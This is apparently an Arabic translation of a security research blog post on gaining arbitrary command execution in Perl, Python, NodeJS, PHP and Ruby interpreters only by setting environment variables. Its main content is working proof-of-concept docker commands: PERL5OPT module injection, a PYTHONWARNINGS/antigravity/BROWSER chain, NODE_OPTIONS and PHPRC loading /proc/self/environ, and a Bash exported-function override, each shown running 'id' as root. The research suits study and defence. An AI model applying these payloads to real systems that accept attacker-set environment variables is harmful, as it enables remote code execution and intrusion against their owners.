الحيل المتغيرة للبيئة

متغيرات بيئة مثيرة للاهتمام لتحميلها في مترجمي البرمجة النصية



المقدمة



في مشروع قرصنة حديث ، حصلنا على القدرة على تحديد متغيرات البيئة ، ولكن ليس عملية التشغيل. لم نتمكن أيضًا من التحكم في محتويات الملف على القرص ، ولم تعطِ القوة الغاشمة لمعرفات العمليات (PIDs) وواصفات الملفات نتائج مثيرة للاهتمام ، باستثناء عمليات استغلال LD_PRELOAD البعيدة . لحسن الحظ ، تم تنفيذ مترجم لغة برمجة نصية ، مما سمح لنا بتنفيذ أوامر عشوائية من خلال تعيين متغيرات بيئة معينة. تناقش هذه المدونة كيف يمكن تنفيذ أوامر عشوائية بواسطة مجموعة من مترجمي لغة البرمجة النصية في ظل متغيرات البيئة الضارة.



بيرل



تكشف القراءة السريعة لقسم ENVIRONMENTصفحة الدليل perlrun(1)عن العديد من متغيرات البيئة التي تستحق الاستكشاف. PERL5OPTيسمح لك متغير البيئة بتعيين خيارات سطر الأوامر ، ولكنه يقتصر على قبول الخيارات فقط CDIMTUWdmtw. لسوء الحظ ، هذا يعني نقصًا -e، مما يجعل من الممكن تحميل رمز perl للتشغيل.



ومع ذلك ، لم نفقد كل شيء ، كما هو موضح في استغلال CVE-2016-1531 من Hacker Fantastic . ويكتب وحدة بيرل الخبيثة إلى ملف استغلال /tmp/root.pmويوفر متغيرات البيئة PERL5OPT=-Mrootو PERL5LIB=/ tmpلتنفيذ تعليمات برمجية عشوائية. ومع ذلك ، كان هذا استغلالًا لثغرة تصعيد الامتياز المحلي ، ويجب ألا تتطلب الطريقة العامة الوصول إلى نظام الملفات. انظر الىاستغلالها بطريقة سيئة لمواجهة التطرف العنيف نفسه ، فهو لم يطلب إنشاء ملف واستخدام متغيرات البيئة PERL5OPT=-dو PERL5DB=system("sh");exit;. تم استخدام نفس المتغيرات لحل مشكلة CTF في عام 2013.



الدقة النهائية للطريقة العامة هي استخدام متغير بيئة واحد بدلاً من متغيرين. justinsteven وجدت أن هذا ممكن مع PERL5OPT=-M. أثناء تنزيل وحدة perl ، يمكنك استخدام إما -mأو -M، لكن هناك خيارًا -Mيسمح لك بإضافة رمز إضافي بعد اسم الوحدة.



إثبات المفهوم



مثال 0: تنفيذ تعليمات برمجية عشوائية باستخدام متغير بيئة مقابل تنفيذ perl لبرنامج نصي فارغ (/ dev / null)



$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)


بايثون



انطلاقا من القسم الموجود ENVIRONMENT VARIABLESفي Mana python(1)، PYTHONSTARTUPيبدو في البداية أنه حل بسيط. يسمح لك بتحديد المسار إلى نص Python النصي الذي سيتم تنفيذه قبل عرض المطالبة بشكل تفاعلي. لا يبدو أن مطلب الوضع التفاعلي يمثل مشكلة ، حيث PYTHONINSPECTيمكن استخدام متغير بيئة للدخول إلى الوضع التفاعلي ، تمامًا كما هو الحال -iفي سطر الأوامر. ومع ذلك ، -iتوضح الوثائق الخاصة بالخيار ما PYTHONSTARTUPلن يتم استخدامه عند بدء تشغيل Python بنص برمجي لتنفيذه. هذا يعني أنه لا يمكن الجمع بين PYTHONSTARTUPكليهما PYTHONINSPECT، ويكون PYTHONSTARTUPله تأثير فقط عند بدء تشغيل Python REPL على الفور. هذا يعني ذلك في النهايةPYTHONSTARTUPغير قابل للتطبيق لأنه ليس له أي تأثير عند تنفيذ برنامج نصي بايثون عادي.



متغيرات البيئة PYTHONHOMEو بدا واعدا PYTHONPATH. كلاهما يسمح بتنفيذ تعليمات برمجية عشوائية ، لكن يتطلب منك أن تكون قادرًا على إنشاء أدلة وملفات على نظام الملفات أيضًا. قد يكون من الممكن تخفيف هذه المتطلبات باستخدام نظام ملفات ظاهري / proc و / أو ملفات ZIP.



يتم فحص معظم متغيرات البيئة المتبقية ببساطة بحثًا عن سلسلة غير فارغة ، وإذا كان الأمر كذلك ، فقم بتضمين إعداد حميد بشكل عام. أحد الاستثناءات النادرة هو PYTHONWARNINGS.



العمل مع PYTHONWARNINGS



توضح الوثائق PYTHONWARNINGSأن هذا يعادل تحديد معلمة -W. -Wتُستخدم هذه المعلمة لإدارة التنبيهات لتحديد التنبيهات وعدد مرات عرضها. الشكل الكامل للحجة هو action:message:category:module:line. في حين أن تنبيهات المراقبة لا تبدو كإشارة واعدة ، فقد تغير هذا بسرعة بعد اختبار التنفيذ.



مثال 1: Python-3.8.2 / Lib / warnings.py



[...]
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
[...]


يوضح هذا الرمز أنه طالما أن فئتنا المحددة تحتوي على نقطة ، فيمكننا البدء في استيراد وحدة Python عشوائية.



المشكلة التالية هي أن الغالبية العظمى من الوحدات من مكتبة Python القياسية تنفذ القليل جدًا من التعليمات البرمجية عند استيرادها. عادةً ما يقومون فقط بتعريف الفئات التي سيتم استخدامها لاحقًا ، وحتى عندما توفر رمزًا للتشغيل ، فعادة ما تتم حماية الكود عن طريق التحقق من المتغير __main__ (لتحديد ما إذا كان الملف قد تم استيراده أو تشغيله مباشرةً).



استثناء غير متوقع لهذه القاعدة هو وحدة مكافحة الجاذبية . قام مطورو Python في عام 2008 بتضمين بيضة عيد الفصح التي يمكن استحضارها عن طريق الجريimport antigravity... سيفتح هذا الاستيراد على الفور ملف xkcd الهزلي في متصفحك مازحا أن استيراد مضاد الجاذبية في Python يجعل من الممكن الطيران.



بالنسبة لكيفية antigravityفتح الوحدة للمتصفح الخاص بك ، فإنها تستخدم وحدة أخرى من المكتبة القياسية تسمى webbrowser. تقوم هذه الوحدة بفحص PATH الخاص بك بحثًا عن مجموعة متنوعة من المتصفحات بما في ذلك الفسيفساء والأوبرا و skipstone و konqueror و chrome و chromium و firefox و links و elinks و lynx. كما أنه يقبل متغير بيئة BROWSERيشير إلى العملية المطلوب تنفيذها. لا يمكن توفير أي وسيطات للعملية في متغير بيئة ، وعنوان URL للرسوم الهزلية xkcd هو الوسيطة الوحيدة المشفرة للأمر.



تعتمد القدرة على تحويل هذا إلى تنفيذ تعليمات برمجية عشوائية على الملفات التنفيذية الأخرى المتوفرة على النظام.



استخدام لغة Perl لتنفيذ تعليمات برمجية عشوائية



تتمثل إحدى الطرق في استخدام Perl ، والذي يتم تثبيته عادةً على النظام ومتوفر حتى في صورة Python Docker القياسية. ومع ذلك ، لا يمكنك استخدام الثنائي perlبمفرده ، لأن الوسيطة الأولى والوحيدة هي عنوان url الخاص بـ xkcd للكوميديا. ستؤدي هذه الوسيطة إلى حدوث خطأ وستنتهي العملية بدون استخدام متغير البيئة PERL5OPT.



مثال 2: ليس لـ PERL5OPT أي تأثير عند تمرير URL إلى perl



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory


لحسن الحظ ، عندما تكون لغة Perl متاحة ، غالبًا ما تكون نصوص Perl الافتراضية مثل perldoc و perlthanks متاحة أيضًا. ستفشل هذه البرامج النصية أيضًا مع وجود وسيطة غير صالحة ، ولكن الخطأ في هذه الحالة يحدث بعد معالجة متغير البيئة PERL5OPT. هذا يعني أنه يمكنك استخدام الحمولة المتغيرة لبيئة Perl المفصلة مسبقًا في هذه المدونة.



مثال 3: يعمل PERL5OPT كما هو متوقع مع perldoc و perlthanks



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)


إثبات المفهوم



مثال 4: تنفيذ تعليمات برمجية عشوائية باستخدام متغيرات بيئة متعددة مع Python 2 و Python 3



$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'

$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'


NodeJS



نشر ميشال بنتكوفسكي حمولة استغلال كيبانا (CVE-2019-7609) على مدونته . تم استخدام ثغرة تلوث نموذجية لتعيين متغيرات البيئة التعسفية التي أدت إلى تنفيذ أوامر تعسفية. استخدمت الحمولة من Michal متغير البيئة NODE_OPTIONSونظام ملفات proc على وجه الخصوص /proc/self/environ.



في حين أن أسلوب ميشال مبدع ويعمل بشكل رائع في حالته ، إلا أنه ليس مضمونًا دائمًا للعمل ولديه بعض القيود التي سيكون من الجيد معالجتها.



القيد الأول هو أنه يستخدم/proc/self/environفقط إذا كان يمكن جعل المحتوى صالحًا نحويًا بواسطة JavaScript. للقيام بذلك ، يجب أن تكون قادرًا على إنشاء متغير بيئة وجعله يظهر أولاً في محتويات الملف ، /proc/self/environأو معرفة / الغش في اسم متغير البيئة الذي يظهر أولاً والكتابة فوق قيمته.



القيد الآخر هو أن قيمة متغير البيئة الأول تنتهي بتعليق من سطر واحد (//). لذلك ، من المحتمل أن يتسبب أي حرف سطر جديد في متغيرات البيئة الأخرى في حدوث خطأ في بناء الجملة ويمنع تنفيذ الحمولة. لن يؤدي استخدام التعليقات متعددة الأسطر (/ *) إلى حل المشكلة ، حيث يجب إغلاقها لتكون صحيحة نحويًا. لذلك ، في الحالات النادرة التي يحتوي فيها متغير البيئة على حرف سطر جديد ، من الضروري معرفة / إلغاء تعيين اسم متغير البيئة والكتابة فوق قيمته بقيمة جديدة لا تحتوي على سطر جديد.



سنترك إزالة هذه القيود كتمرين للقارئ.



إثبات المفهوم



مثال 5. تنفيذ تعليمات برمجية عشوائية باستخدام متغيرات البيئة ضد NodeJS لـ Michal Bentkowski



$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)


بي أتش بي



إذا قمت بتشغيله ltrace -e getenv php /dev/null، فستجد أن PHP تستخدم متغير بيئة PHPRC. يتم استخدام متغير البيئة عند محاولة البحث عن ملف التكوين وتحميله php.ini. يستخدم استغلال neex لـ CVE-2019-11043 عددًا من معلمات PHP لفرض تنفيذ تعليمات برمجية عشوائية. يوجد في Orange Tsai أيضًا منشورًا ممتازًا حول إنشاء استغلالك الخاص ل CVE ، والذي يستخدم قائمة إعدادات مختلفة قليلاً. باستخدام هذه المعرفة ، بالإضافة إلى المعرفة المكتسبة من تقنيات NodeJS السابقة ، وبعض المساعدة من Brendan Scarwell ، تم العثور على حل PHP مع متغيرين بيئيين.



هذه الطريقة لها نفس قيود أمثلة NodeJS.



إثبات المفهوم



مثال 6: تنفيذ تعليمات برمجية عشوائية باستخدام متغيرات البيئة مقابل PHP



$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)


روبي



لم يتم العثور على حل شامل لروبي حتى الآن. يقبل روبي متغير البيئة RUBYOPTلتحديد خيارات سطر الأوامر. تشير صفحة الدليل إلى أن RUBYOPT يمكن أن يحتوي فقط على -d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE --enable-FEATURE. الخيار الواعد هو -rإجبار روبي على تحميل المكتبة باستخدام يتطلب. ومع ذلك ، يقتصر هذا على الملفات ذات الامتداد .rbأو .so.



مثال على ملف مفيد نسبيا وجدت .rbهو tools/server.rbمن الأحجار الكريمة سلمان، والذي يتوفر بعد تثبيت روبي على أنظمة فيدورا. عندما يكون هذا الملف مطلوبًا ، يتم بدء تشغيل خادم الويب كما هو موضح أدناه:



مثال 7: استخدام متغير بيئة RUBYOPT لبدء عملية Ruby وبدء خادم الويب



$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO  WEBrick 1.6.0
[2020-06-17 05:43:47] INFO  ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO  WEBrick::HTTPServer#start: pid=28 port=6666


نهج آخر في Fedora هو الاستفادة من حقيقة أن /usr/bin/rubyهناك بالفعل نص Bash يتم إطلاقه /usr/bin/ruby-mri. يستدعي البرنامج النصي وظائف Bash التي يمكن استبدالها بمتغيرات البيئة.



إثبات المفهوم



مثال 8: استخدام دالة Bash المصدرة لتنفيذ أمر تعسفي



$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)


خاتمة



لقد غطى هذا المنشور بعض حالات الاستخدام المثيرة للاهتمام لمتغيرات البيئة التي يمكن أن تساعد في تنفيذ التعليمات البرمجية التعسفية باستخدام مترجمي لغة البرمجة النصية المختلفة دون كتابة الملفات على القرص. أتمنى أن تكون قد استمتعت بالقراءة وكنت مهتمًا بالعثور على حمولات محسنة لهذه اللغات وغيرها من لغات البرمجة النصية ومشاركتها. إذا وجدت تقنية عامة تعمل ضد روبي ، فسيكون من الممتع للغاية أن تسمع عنها.



انظر أيضًا: " Dotfile Madness "



All Articles